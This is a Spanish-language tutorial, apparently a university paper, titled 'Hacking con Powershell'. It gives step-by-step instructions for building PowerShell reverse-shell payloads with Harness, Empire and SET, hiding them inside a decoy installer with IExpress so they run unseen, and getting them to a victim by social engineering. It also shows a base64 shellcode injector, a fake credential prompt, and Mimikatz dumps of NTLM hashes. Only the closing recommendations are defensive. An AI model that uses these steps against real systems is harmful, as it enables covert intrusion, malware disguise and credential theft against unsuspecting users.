## Hacking Con Powershell

### Universidad Mariano Gálvez De Guatemala

César Augusto Calderón Martínez (stuxnet)

### I. Introducción.

Windows Powershell es un interfaz de líneas de comandos que nos permite realizar diversas tareas para la gestión de nuestro sistema operativo, tareas repetitivas a nivel local o a nivel de red.

Acepta y devuelve objetos de .NET, gran cantidad de comandos integrados, se presenta el concepto de cmdlet, este comando nos permite realizar funciones.

#### II. ¿Por qué Windows Porwershell?

Para los consultores de seguridad a la hora de realizar un servicio de penetration test es muy importante las herramientas y en este caso Windows ofrece un framework por debajo para realizar un montón de acciones. Me refiero a lo siguiente:

- Fácil acceso a conexiones de red
- Capacidad de montar binarios maliciosos dinámicamente en memoria
- Acceso directo a la API de Win32
- Simple interfaz WMI
- Un entorno de scripting de gran alcance
- Fácil acceso a las bibliotecas de criptografía
- Etc...

#### III. Nuestro mi primer script en Powershell

Teniendo esto claro, comenzamos a jugar con powershell, abriremos un terminal ISE:

Administrador: Windows PowerShell ISE (x86)		×
Archivo Editar Ver Depurar Ayuda		
Sin título1.ps1 X		
PS C:\Users\Stuxnet>		٢
>		
Lín.	1 Col. 1	12

Figura 1. Powershell ISE.

Empezaremos creando una función simple, pero que nos ayudará a entender el funcionamiento de powershell:

Nombramos a la función hola, que al ejecutar y llamar nos mostrará el mensaje hola mundo.

Administrador: Windows PowerShell ISE (x86)	
Archivo Editar Ver Depurar Ayuda	
Sin titulolps1* X 1 Function hola{ 2 Echo "Funcion en Powershell" 3 }	0
PS C:\Users\Stuxnet> Function hola{ Echo "Funcion en Powershell" } PS C:\Users\Stuxnet> hola Funcion en Powershell	
PS C:\Users\Stuxnet>	•
> hola	
	Lín. 1 Col. 5



Ahora procederemos hacer un simple script que haga un port scanning usando el cmdlet TCPClient a las puertos más comunes.



Figura 3. Resultado de la ejecución del Script

### IV. Automatizando ataques con Frameworks I. Harnnes

Harness fue presentada en la DEFCON23 esta tool nos permite generar payload de acceso remoto con la capacidad de proporcionar una interfaz de control remoto de powershell.

Clonamos el proyecto desde Github

git clone https://github.com/rich5/Harness

Para la instalación de la herramienta ejecutaremos los siguientes comandos.

cd Harness chmod 755 python\_install.sh ./python\_install.sh

wget http://python.org/ftp/python/3.4.3/Python-3.4.3.tar.xz tar xf Python-3.4.3.tar.xz cd Python-3.4.3 ./configure --prefix=/usr/local --enable-shared LDFLAGS="-WI,-rpath /usr/local/lib" make && make altinstall



Figura 4. Instalación de la herramienta

También se ha corregido el bug con el autocompletado, para eso ejecuta los siguientes comandos

apt-get install libssl-dev openssl apt-get install python3-pip apt-get install libcurses5-dev pip3 install readline python\_install.sh

Ejecutamos harness de la siguiente manera

python3.4 harness.py

root@stuxnet: ~/tools/Harness	0	•	0
Archivo Editar Ver Buscar Terminal Ayuda			
<pre>root@stuxnet:~/tools/Harness# python3.4 harness.py</pre>			
Version 1.0			
Project Harness Author: Rich Kelley Contact: rk5devmail[A T]gmail, @rgkelley5			
Type help or ? to list commands.			
H>			

Figura 5. Menú Principal de la Herramienta,

Ahora listaremos los módulos de la tool de la siguiente manera

show modules



Figura 6. Payloads de herramienta.

En este caso usare el ultimo payload ya que el windows que atacare es x86, para eso lo cargaremos de la siguiente manera.

load payloads/TCP/x86/exe/Harness\_x86

Para ver sus opciones

show options



Figura 7. Opciones del Payload

Ahora procederemos a configurarlo, IP = su ip y PORT el puerto que usaran en mi caso usare el 4444



Figura 8. Payload configurado

Ahora ya configurado todo ejecutamos el comando **run** y nos preguntara un nombre en mi caso underc0de.exe, se guardara en la carpeta de harness.



Figura 9. Payload Generado.

Ahora ejecutamos el comando **back** y procederemos a configurar el handler

H> show modules		
Handlers		
handlers/PSHandler		
Payloads cools Harness		
Recient payloads/SSL/x64/dll/ReflectiveHarness_SSL_x64 payloads/SSL/x64/exe/Harness_SSL_x64 payloads/SSL/x86/dll/ReflectiveHarness_SSL_x86		e
payloads/SSL/x86/exe/Harness_SSL_x86 <sup>ness</sup>		init_
Escritor payloads/TCP/x64/dll/ReflectiveHarness_x64 payloads/TCP/x64/exe/Harness_x64 payloads/TCP/x86/dll/ReflectiveHarness_x86		11
payloads/TCP/x86/exe/Harness_x86hon-3 4.3 tar.xz	Python-3.4.3.tar.	python_in_
Documentos H> load handlers/PSHandler	×z.1	

Figura 10. handler

load handlers/PSHandler

Ahora lo procederemos a configurarlo

IP = Su IP PORT = su puerto SSL = false

H_MOD(PSHandler) H_MOD(PSHandler) H_MOD(PSHandler) H_MOD(PSHandler) Module:	set SSL false set IP 192.168.1. set PORT 4444 show options	100			
Option IP PORT CERT_PATH KEY_PATH SSL	Value 192.168.1.100 4444 selfsigned.cert selfsigned.key False	Type str int str str bool	Required True True True True False		
H_MOD(PSHandler)				and the second s	

Figura 11. Handler configurado

Ahora si ejecutamos **run** y tendremos en escucha nuestro handler, ahora es hora de hacer un poco de ingeniería social y les mostrare un pequeño método.



Figura 12. Handler a la escucha

#### V. Ocultando nuestros Payloads con IExpress

Esta herramienta es nativa desde Windows XP la cual nos permite crear archivos comprimidos y auto instaladores.

Para esto utilizaremos cualquier aplicación que deseemos, en mi caso utilizare YUMI una simple tool para crear usb booteables y el backdoor generado.

unterclife	Welcome to IExpress 2.0 This wizard will help you create a self-extracting / self-installing package. First, you need to create a Self Extraction Directive (SED) file to store information about your package. If you have already done this, select Open existing one; otherwise, select Create New Self Extraction Directive file
VUMP2.01.9	Create new Self Extraction Directive file.     Open existing Self Extraction Directive file:     Browse
	< Atrás Siguiente > Cancelar

Figura 13. IExpress

#### Y ahora el típico siguiente

🗄 IExpress Wizard	<b>—</b>
	Package purpose
	Select final result of the package.
	Extract files and run an installation command
	C Extract files only
	C Create compressed files only (ActiveX Installs)
	Description Files will be expanded to a temporary folder. The files will then be used by the specified installation program.
	< Atrás Siguiente > Cancelar

Figura 14. Opciones de IExpress

En esta parte nos pedirá agregar las dos aplicaciones que deseamos

Packaged files
r ackageu mes
Create a list of files that you want in your compressed package.
Filename Path
YUMI-2.0.1.9 C:\Users\root\Desktop\
underc0de.exe C:\Users\root\Desktop\
Add Remove
< Atrás Siguiente > Cancelar

Figura 15. Configuración de nuestro auto-instalador

Y ahora siguiente y configuramos de la siguiente manera para que el backdoor se ejecute en segundo plano



17. Agregando el backdoor y el programa señuelo.

Luego en siguiente y dejamos esto así

IExpress Wizard	Configure restart
	Select how you want the system to restart at the end of your installation program.
	<ul> <li>No restart</li> <li>Always restart</li> <li>Only restart if needed</li> </ul>
	Do not prompt user before restarting
	< Atrás Siguiente > Cancelar

Figura 18. Opción de no reiniciar equipo luego de la instalación

Y le ahora siguiente nos preguntara donde queremos guardar y luego terminar y se genera nuestro auto-instalador para enviárselo a la victima



Figura 19. Instalador generado por IExpress.

Ahora cuando nuestra victima ejecute el programa se abrirá la aplicación de YUMI y por debajo el backdoor así dando nuestra sesión de powershell.

```
[!] Session 1 added: ('192.168.1.102', 49165) <--> ('192.168.1.100', 4444)
Figura 20. Sesión remota abierta.
```

Ahora ejecutamos para ver nuestras sesiones

show sessions



Figura 21. Sesiones Activas.

Para interactuar con nuestra sesión lo hacemos de la siguiente forma.

session 1



Figura 22. Interactuando con nuestra víctima.

### VI. Powershell Empire

Empire tiene la capacidad de ejecutar scripts PowerShell sin necesidad powershell.exe, los módulos de post-explotación de despliegue rápido que van desde los registradores de claves a Mimikatz entre otras, esta maravillosa herramienta fue presentada en BSIDESLV del año 2015.

La herramienta se encuentra en github solo basta ejecutar los siguientes comandos para su instalación.

git clone https://github.com/PowerShellEmpire/Empire.git

cd Empire

./setup/install.sh

Al hace esto empire automáticamente descargara los complementos necesarios para poder ejecutarse, al instalar los complementos procedemos a ejecutar la herramienta de la siguiente manera.

./empire

root@stuxnet: ~/tools/Empire	C		0
Archivo Editar Ver Buscar Terminal Ayuda			
Empire: PowerShell post-exploitation agent   [Version]: 1.6.0			-
==== [Web]: https://www.PowerShellEmpire.com/   [Twitter]: @harmj0y, a0x3	@sixdub,	@eni	gm
	1	M	
180 modules currently loaded			
0 listeners currently active			
0 agents currently active			
(Empire) >	11		

Figura 23. Powershell Empire

ſ			root@stuxnet: ~/tools/E	mpire	0	Ξ	0
A	rchivo Editar Ver Bu	uscar Terminal	Ayuda				
(    [    (	Empire) > listener  ] <mark>No listeners cu</mark> Empire: l <mark>istener</mark> s)	s <mark>rrently acti</mark> > info	ve	268			*
L:	istener Options:						
	Name	Required	Value	Description			
)	KillDate Name DefaultLostLimit StagingKey Type	False True True True True True	test 60 }u:=\$rkKRS-NJ%;4YHzAg^ v\?&Ebowm native	Date for the listener to exit (MM/dd/yyy Listener name. Number of missed checkins before exiting Staging key for initial agent negotiatio Listener type (native, pivot, hop, forei	y). Dn. .gn,	met	er
,	RedirectTarget DefaultDelay WorkingHours Host CertPath DefaultJitter DefaultProfile	False True False True False True True	5 http://172.16.106.1:8080 0.0 /admin/get.php,/news.asp,/login/ process.jsp Mozilla/5.0 (Windows NT 6.1; W0W64; Trident/7.0; rv:11.0) like Gecko	Listener target to redirect to for pivot Agent delay/reach back interval (in seco Hours for the agent to operate (09:00-17 Hostname/IP for staging. Certificate path for https listeners. Jitter in agent reachback interval (0.0- Default communication profile for the ag	(/hop onds) (:00) (1.0) Jent	).  -  -	v

Figura 24. Opciones de Listeners

Ahora vamos a configurar nuestro servidor de infección, para eso iremos a la sección "listeners". Ejecutamos los siguientes comandos

(Empire) > listeners

(Empire: listeners) > info

(Empire: listeners) > set Name esetPoC

(Empire: listeners) > set Host 192.168.1.100 → IP Atacante.

(Empire: listeners) > set Port 8080  $\rightarrow$  Puerto a la escucha.

(Empire: listeners) > execute

(Empire: listeners) > list

root@stuxnet: ~/tools/Empire			0	•	0				
Archivo	Editar Ver	Buscar Terminal	Ayuda						
Host CertP	ath	True False	http://172.16.106.1:8080	Hostnam Certifi	e/IP for stagin cate path for h	ng. https listene	ers.		Â
Defau	ltJitter	True	0.0	Jitter	in agent reach	back interval	L (0.0-1.0)		
Defau	ltProfile	True	<pre>/admin/get.php,/news.asp,/login/ process.jsp Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko</pre>	Default	communication	profile for	the agent.		
Port		True	8080	Port fo	r the listener.				
(Empire (Empire (Empire (Empire [*] Lis (Empire	: listeners : listeners : listener : listener tener 'ese : listeners	s) > set Name s) > set Host s) > set Port s) > execute tPoC' success s) > list	esetPoC http://192.168.1.100 8080 fully started.						
[.] wer	IVE LISLEN	ers:							
ID	Name	Host	т	уре	Delay/Jitter	KillDate	Redirect	Targ	et
1	esetPoC	http	://192.168.1.100:8080 n	ative	5/0.0				
(Empire	: listener	s) >							-

Figura 25. Ejecución de comandos

Ahora vamos a generar un ejecutable pero en extensión .bat el cual tendrá nuestro código de powershell.

(Empire: listeners) > usestager launcher\_bat esetPoC  $\rightarrow$  Nombre de nuesto listener

(Empire: listeners) > execute

Al hacer esto nos devolverá lo siguiente.

[\*] Stager output written out to: /tmp/launcher.bat

El archivo .bat ha sido generado en la carpeta tmp, haciendo un nano del fichero para ver su código fuente.



Figura 26. Código fuente del archivo .bat

Ahora procedemos a compilar la herramienta para eso usaré un programa llamado bat to exe en línea de la siguiente página  $\rightarrow$  <u>http://www.f2ko.de/es/ob2e.php</u>. Teniendo todo esto configurado es momento de hacer Ingeniería social a nuestra victima para que ejecute el archivo .exe. Para eso usare nuevamente el método visto en el capítulo V. ocultándolo y ejecutándolo en segundo plano con IExpress.

#### [+] Initial agent FY3FYYGSHMREFLGA from 192.168.1.102 now active

#### Figura 27. Activación de nuestro agent en el equipo victima

(Empire) > agents					- 11-	50
[*] Active agents:						
Name FY3FYYGSHMREFLGA	Internal IP 192.168.1.102	Machine Name STUXNET	Username STUXNET\stuxnet	Process  powershell/7964	Delay 5/0.0	Last Seen 2016-11-07 09:35:58
(Empire: agents) >	÷.					



Para interactuar con nuestro agents lo hacemos de la siguiente manera. (Empire: agents) > interact FY3FYYGSHMREFLGA → Nombre del agents Ahora ejecutamos el comando info.

	root@stuxnet: ~/tools/Empire	0	•	0
Archivo Editar Ver Buscar Terminal	Ayuda			
(Empire: FY3FYYGSHMREFLGA) > in	fo			-
[*] Arent info				
[*] Agent Into:				
ps_version old_uris jitter servers internal_ip working_hours session_key children checkin_time hostname delay uris username kill_date parent process_name listener sessionID process_id os_details lost_limit ID name external_ip headers user_agent	4 None 0.0 None 192.168.1.102 ImEj!yvt%H4qR{fp_ <ib&)k=c^ 2\w\$a None 2016-11-07 09:33:18 STUXNET 5 /admin/get.php,/news.asp,/login/process.jsp STUXNET 5 /admin/get.php,/news.asp,/login/process.jsp STUXNET\stuxnet None powershell http://192.168.1.100:8080/ FY3FYYGSHMREFLGA 7964 Microsoft Windows 8.1 Pro 60 1 FY3FYYGSHMREFLGA 192.168.1.102 Mozilla/5.0 (Windows NT 6.1; W0W64; Trident/7.0; rv:11.0) like Gecko</ib&)k=c^ 2\w\$a 			
lastseen_time high_integrity	2016-11-07 09:43:22 0 building			

Figura 29. Ejecución del comando info.

Empire es una gran herramienta que nos facilita la vida a la hora de generar ataques con powershell.

#### VII. Utilizando Setoolkit para Ataques con Powershell

SET es una completísima navaja suiza dedicada a la ingeniería social, la cual nos permite automatizar tareas que van desde el de envío de SMS (mensajes de texto) falsos, hasta shells inversas con powershell entre muchas características más.

SET por defecto ya está en kali linux solo basta con ejecutar en consola el comando setoolkit.



Figura 30. Menú Setoolkit

Para utilizar los vectores de ataques de setoolkit elegimos la opción 1.



Figura 31. Vectores de Ataque de setookit

Como podemos observar en la figura 31 los diferentes vectores de ataque que nos ofrece setoolkit, el que vamos a usar es el número 9, Vectores de ataque Powershell.

root@stuxnet: ~	0	•	0
Archivo Editar Ver Buscar Terminal Ayuda			
<ul> <li>7) Wireless Access Point Attack Vector</li> <li>8) QRCode Generator Attack Vector</li> <li>9) Powershell Attack Vectors</li> <li>10) SMS Spoofing Attack Vector</li> <li>11) Third Party Modules</li> </ul>	Car		-
99) Return back to the main menu.			
set> 9			
The <b>Powershell Attack Vector</b> module allows you to create PowerShel acks. These attacks will allow you to use PowerShell which is avai lt in all operating systems Windows Vista and above. PowerShell pro ful landscape for deploying payloads and performing functions tha triggered by preventative technologies.	l specif: lable by ovides a t do not	ic a def fru t ge	tt au it t
1) Powershell Alphanumeric Shellcode Injector 2) Powershell Reverse Shell 3) Powershell Bind Shell 4) Powershell Dump SAM Database			L
99) Return to Main Menu			
<pre>set:powershell&gt;</pre>			-

Figura 32. Vectores de ataque powershell en setoolkit

Vamos a utilizar el vector de ataque Powershell Alphanumeric Shellcode Injector, asi que colocamos la opción 1 y procedemos a modificar.



Figura 33. Configuración de nuestro vector de ataque.

Como podemos ver empieza a generar nuestros vectores de ataque con dicho salto a la política de ejecución de scripts powershell. Al terminar de configurar nos preguntara si queremos iniciar nuestro handler que a la hora de ejecutar el archivo generado obtendremos nuestras sesión meterpreter. Así que escribiremos **yes** 

				root@s	tuxnet: ~	•/.se	et/reports/powershell	C		×
Archivo	Editar	Ver	Buscar	Terminal	Pestaña	as	Ayuda			
		root@	stuxnet:	~	×	r	oot@stuxnet: ~/.set/reports/powershe	ll ×		-
rootdet	uvnot	~/ 5	ot/ren	arts/now	orchol	C	nano X86 poworsholl injection	tvt	_	
root@st	uvnet	~/	et/ren	orts/pow	ershell	ւթ 1 ¢	cat x86 nowershell injection	+v+		
nowersh		10n -	window	hiddon	-noni .	-Ω	1AB0AE8ATaBmAGUAWaB2ACAAP0Aa	CcA1	AA5A	FTΔ
ΑΔαΔDΘ	ΔΤΔΔηλ	Δ(ςΔω	wrnaow ₩RF∆Gwi	APAR 1000	ΔςΔΒνΔΗ	нтΔ	dAAoACTAawB1AHTAbgB1AGwAMwAvA	C447	ΔRsΔ	GwΔ
ΓαΔηΔΕΘ	AcAR1	AGTAh		ATAR7AHO	AYOROA	GkA	YwAgAGUAeAB0AGUAcgBuACAAS0BuA	HOALL	AROA	НТΑ
ABWAGK	AcaBO	AHUAY	OBSAFE	AbABsAG8	AYwAoAF	ĒkΑ	baB0AFAAdABvACAAbABwAFFAZABkA	HTA7	BZA	НМА
ΔΑσΑΗΙ	AaOBu	AHOAT	ABkAHc	AllwBnAHo	A70AsA(	CAA	dOBpAG4AdAAgAGYAbABBAGwAbAByA	GMAY	BOA	GkA
wBuAFO	AeOBw	AGUAL	AAaAHU	AaOBuAHO	ATABmA(	GwA	UABvAG8AdAB1AGMAdAAbADsAWwBEA	GwAb	ABJA	G0A
ABVAHI	AdAAo	ACIAa	WBLAHI	AbaBlAGw	AMwAvA(	C4A	ZABsAGwAIgApAF0AcAB1AGIAbABpA	GMAI	ABZA	HOA
0B0AGk	AYwAa	AGUAe	ABOAGU	AcaBuACA	ASOBuAH	HOA	UABOAHIAIABDAHIAZOBhAHOAZOBUA	GaAc	BLA	GÈA
ZAAoAEk	AbaBo	AFAAd	AByACA	AbABwAF0	AaAByA(	GÙA	YQBKAEEAdAB0AHIAaQBiAHUAdABLA	HMAL	AAaA	HUA
aQBuAHQ	AIĂBk/	AHcAU	WBÓAGE/	AYwBrAFM	AaQB6A(	GUA	LAAgAEkAbgB0AFAAdAByACAAbABwA	FMAd	ABhA	HIA
IABBAGQ	AZABy	AGUAc	wBzACw	AIABJAG4	AdABQAH	HQA	cgAgAGwAcABQAGEAcgBhAG0AZQB04	GUAC	gAsA	CAA
IQBpAG4	AdAAg	AGQAd	wBDAHI	AZQBhAHQ	AaQBvA(	G4A	RgBsAGEAZwBzACwAIABJAG4AdABQA	HQAc	gAgA	GwA
ABUAGg	AcgBĺ/	AGEAZ	ABJAGQ	AKQA7AFs.	ARABsA(	GwA	SQBtAHAAbwByAHQAKAAiAG0AcwB2A	GMAc	gB0A	C4A
ABsAGw	AIgAp	AF0Ac	AB1AGI	AbABpAGM	AIABzAH	hqa	YQB0AGkAYwAgAGUAeAB0AGUAcgBuA	CAAS	QBuA	HQA
AB0AHI	AIABt	AGUAb	QBzAGU	AdAAoAEk	AbgB0Af	FAA	dAByACAAZABlAHMAdAAsACAAdQBpA	G4Ad	۹AgA	HMA
gBjACw	AIAB1	AGkAb	gB0ACA/	aywBvahu.	AbgB0A(	CkA	0wAnACcA0wAkAHcAIAA9ACAAQQBkA	GQAL	QBUA	HkA
ABLACA	ALQBt	AGUAb	QBiAGU	AcgBEAGU	AZgBpA(	G4A	aQB0AGkAbwBuACAAJAA5AFIAMAAgA	COAT	gBhA	G0A
QAgACI	AVwBp/	AG4A№	₩AyACI	AIAAtAG4	AYQBtA(	GUA	.cwBwAGEAYwBlACAAVwBpAG4AMwAyA	EYAd	QBuA	GMA
IABpAG8	AbgBz	ACAAL	QBwAGE	AcwBzAHQ	AaAByAl	HUA	0wBbAEIAeQB0AGUAWwBdAF0A0wBbA	EIAe	QB0A	GUA
WBdAF0	AJAB6	ACAAF	QAgADA	AeABmAGM	ALAAwAl	HgA	ZQA4ACwAMAB4ADgAMgAsADAAeAAwA	DAAL	AAwA	HgA
IAAwACw	AMAB4	ADAAM	IAAsADA	AeAA2ADA	ALAAwAl	HgA	0AA5ACwAMAB4AGUANQAsADAAeAAzA	DEAL	AAwA	HgA
wAwACw	AMAB4	ADYAN	AAsADA	AeAA4AGI	ALAAwAH	HġA	NQAwACwAMAB4ADMAMAAsADAAeAA4	GIAL	AAWA	HgA

Figura 34. Archivo Generado por setoolkit

Ahora crearemos un archivo .bat con el contenido del archivo generado, únicamente cambiamos la extensión .txt por .bat. Usando nuevamente la página <u>http://www.f2ko.de/es/ob2e.php</u> crearemos nuestro ejecutable. Usando nuevamente el método visto en el capítulo V. ocultaremos nuestra aplicación y se ejecutara en segundo plano, al hacerlo se creara la sesión merterpreter.



Figura 35. Sesión Meterpreter

<u>msf</u> exploit(hand [*] Starting int	<pre>ller) &gt; sessions -i 1 eraction with 1</pre>	3
<u>meterpreter</u> > sy	/sinfo	
Computer	: STUXNET	
0S	: Windows 8.1 (Build 9600).	
Architecture	: x86	
System Language	: es_ES	
Domain	: WORKGROUP	
Logged On Users	: 2	
Meterpreter	: x86/win32	
<u>meterpreter</u> >		-

Figura 37. Interacción e información del sistema comprometido.

#### VIII. Post-Explotación con Nishang.

Nishang es una colección que de scripts que nos permite realizar diversos ataques y tareas post-exploitación durante una auditoria de seguridad.



Figura 38. Lista de script de nishang.

Para utilizar los scripts de nishang vamos a subir la carpeta de estos scritps a nuesrto sistema comprometido con el comando de meterpreter upload.



Figura 39. Subiendo nishang al sistema comprometido

Para la ejecución de los módulos de nishang es necesario cambiar la restricción de las políticas de ejecución de porwershell.

Ejecutamos:

Set-ExecutionPolicy Unrestricted

La directiva de ejecución le ayuda a protegerse de scripts en los que no confía. Si cambia dicha directiva, podría

Exponerse a los riesgos de seguridad descritos en el tema de la Ayuda about\_Execution\_Policies en

http://go.microsoft.com/fwlink/?LinkID=135170. ¿Desea cambiar la directiva de ejecución?

[S] Sí [N] No [U] Suspender [?] Ayuda (el valor predeterminado es "S"):

PS c:\users/stuxet/nishang>

Ahora vamos importar un módulo sencillo para hacer un phishing para robar las credenciales del usuario.

Ejecutamos.

Import-Module .\Invoke-CredentialsPhish.ps1

Invoke-CredentialsPhish

Al hacer esto y ejecutarlo al usuario le saldrá lo siguiente.



Figura 40. Phishing

Cuando escriba sus credenciales las obtendremos en texto plano en nuestra consola.

Tenemos otra opción para tener las contraseñas del sistema sin la introversión del usuario, para eso usaremos Mimikatz esta es una gran herramienta de post-explotación que nos permite el volcado de contraseñas almacenadas de acceso a recursos compartidos, unidades de red, escritorios remotos, etc.

Para ejecutar Mimikatz hacemos lo siguiente:

Import-Modules .\Invoke-Mimikatz.ps1

Invoke-Mimikatz.ps1

.#####. mimika .## ^ ##. "A La ## / \ ## /* * * ## \ / ## Benja '## v ##' http: '####.	tz 2.1 (x86) built on Feb 21 2016 18:42:23 Vie, A L'Amour" min DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) //blog.gentilkiwi.com/mimikatz (oe.eo)	
""""" nimikatz(powershel	1) # sekurlsa::logonpasswords	
Authentication Id Session Jser Name Domain Logon Server Logon Time SID	: 0 ; 215326 (00000000:0003491e) : Interactive from 1 : stuxnet : STUXNET : STUXNET : 27711/2016 8:01:36 a.m. : 27-11/2016 8:01:36 a.m. : S-1-5-21-1122436358-1781589713-3918016760-1001	
msv : [00000003 * Usernam * Domain * NTLM * SHA1 [00010000 * NTLM * SHA1 tspkg : wdigest : * Usernam * Domain * Passwor livessp : kerberos : ssp : credman :	] Primary = stuxnet = StUXNET = 1ae1791b02bcb65d982afdded7774b41 = 1a5abf5d8cDeace380e2f52a848fe66efaff621d ] CredentialKeys = 1ae1791b02bcb65d982afdded7774b41 = 1a5abf5d8cDeace380e2f52a848fe66efaff621d e = stuxnet = STUXNET d = (null) K0	
Authentication Id Session User Name Domain Logon Server Logon Time SID	: 0 ; 215129 (00000000:00034859) : Interactive from 1 : stuxnet : STUXNET : STUXNET : 27/11/2016 8:01:36 a.m. : S-1-5-21-1122436358-1781589713-3918016760-1001	•
msv : [00010000 * NTLM * SHA1 [00000003	] CredentialKeys : 1ae1791b02bcb65d982afdded7774b41 : 1a5abf5d8c0eace380e2f52a848fe66efaff621d ] Primary	

	* Usernam	e : stuxnet
	* Domain	: STUXNET
	* NTLM	: 1ae1791b02bcb65d982afdded7774b41
	* SHA1	: 1a5abf5d8c0eace380e2f52a848fe66efaff621d
	tenka -	
	capital .	
	wurgest .	
	* Usernam	e : stuxnet
	* Vomain	I SIUXNEI
	* Passwor	i : (null)
	livessp :	
	kerberos :	KU CALLER CAL
	66D -	
	oredwap -	
	creuman -	
		- A - 007 / AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Hutnen	tication la	: b ; 397 (DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
Session	n	: Service from U
Jser Na	ame	: SERVICIO LOCAL
Domain		: NT AUTHORITY
ngon S	Server	(null)
0.000	Time	27/11/2016 7-59-06 a m
E T N	11110	
210		. 3-1-3-17
	msv :	
	tspkg :	
	wdigest :	
	* Usernam	e : (null)
	* Domain	: (null)
	* Passuor	( - ( null )
	linesen	·
	IIVessp -	V0
	Kerberos .	nu
	ssp :	
	credman :	
Authen	tication Id	: 0 ; 69573 (00000000:00010fc5)
Sessio	n	: Interactive from 1
lser Na	ame	: NUM-1
lomain		· Window Manager
ogop (	Server	
-ogon s	Time	· \7/14/2014/ 7-EQ-0E · ·
- ogon	THE	2 // 11/2010 / 37-03 d. m.
510		· S-1-5-90-1
	MSV :	
	tspkg :	
	wdigest :	
	* Üsernam	e : STUXNET\$
_	* Domain	
	* Passwor	t · (pull)
	rasswor	
	ilvessp :	
	kerberos :	KU
	ssp :	
	credman :	

```
Authentication Id : 0 : 67607 (00000000:00010817)

Session : Interactive from 1

User Name : DUM-1

Domain : Window Manager

Logon Server : (null)

Logon Time : 27/11/2016 7:59:04 a. m.

SID : S-1-5-90-1

msv : tspkg :

wdigest :

* Username : STUXNETS

* Username : STUXNETS

* Username : NURKGROUP

* Password : (null)

livessp :

kerberos : K0

ssp :

credman :

Authentication Id : 0 ; 996 (00000000:000003e4)

Session : Service from 0

User Name : STUXNETS

User Name : STUXNETS

wdigest :

* Username : STUXNETS

Domain : WORKGROUP

Logon Time : 27/11/2016 7:59:04 a. m.

SID : S-1-5-20

msv :

tspkg :

wdigest :

* Username : STUXNETS

* Username : STUXNETS

wdigest :

* Username : STUXNETS

wdigest :

* Username : STUXNETS

SID : S-1-5-20

msv :

tspkg :

wdigest :

* Username : STUXNETS

* Username : STUXNETS

* Username : STUXNETS

* Username : STUXNETS

* Username : Cnull)

livessp :

credman :

Authentication Id : 0 ; 46640 (000000000:000006630)

Session : UndefinedLogonType from 0

User Name : (null)

Logon Server : (null)

Logon Time : 27/11/2016 7:59:03 a. m.

SID :

* spkg :

wdigest :

kerberos : K0

ssp :

credman :
```

.

Authentication Id :	0 ; 999 (00000000:00003e7)
Session :	UndefinedLogonType from D
User Name :	STUXNET\$
Domain :	WORKGROUP
Logon Server :	(null)
Logon Time :	27/11/2016 7:59:03 a. m.
SIĎ :	S-1-5-18
msv :	
tspkg :	
wdigest :	
* Üsername	: STUXNET\$
* Domain	: WORKGROUP
* Password	: (null)
livessp :	
kerberos :	KO
ssp :	
credman :	
mimikatz(powershell) Bye!	) # exit

Figura 41. Resultado de la ejecución de Mimikatz

# IX. Conclusiones

Winwdows powershell es un lenguaje que nos ofrece una gran infinidad de posibilidades a la hora de realizar nuestras auditorias de seguridad.

Todas Las Herramientas utilizadas se saltas la política de ejecución de Powershell.

## X. Recomendaciones

Para poder evitar ser víctima de estos ataques es muy recomendado tener nuestro antivirus actualizado, no descargar programas de fuentes desconocidas.

No desactivar las políticas de ejecución de scripts Powershell.

No ejecutar Scripts que no sean de fuentes no confiables.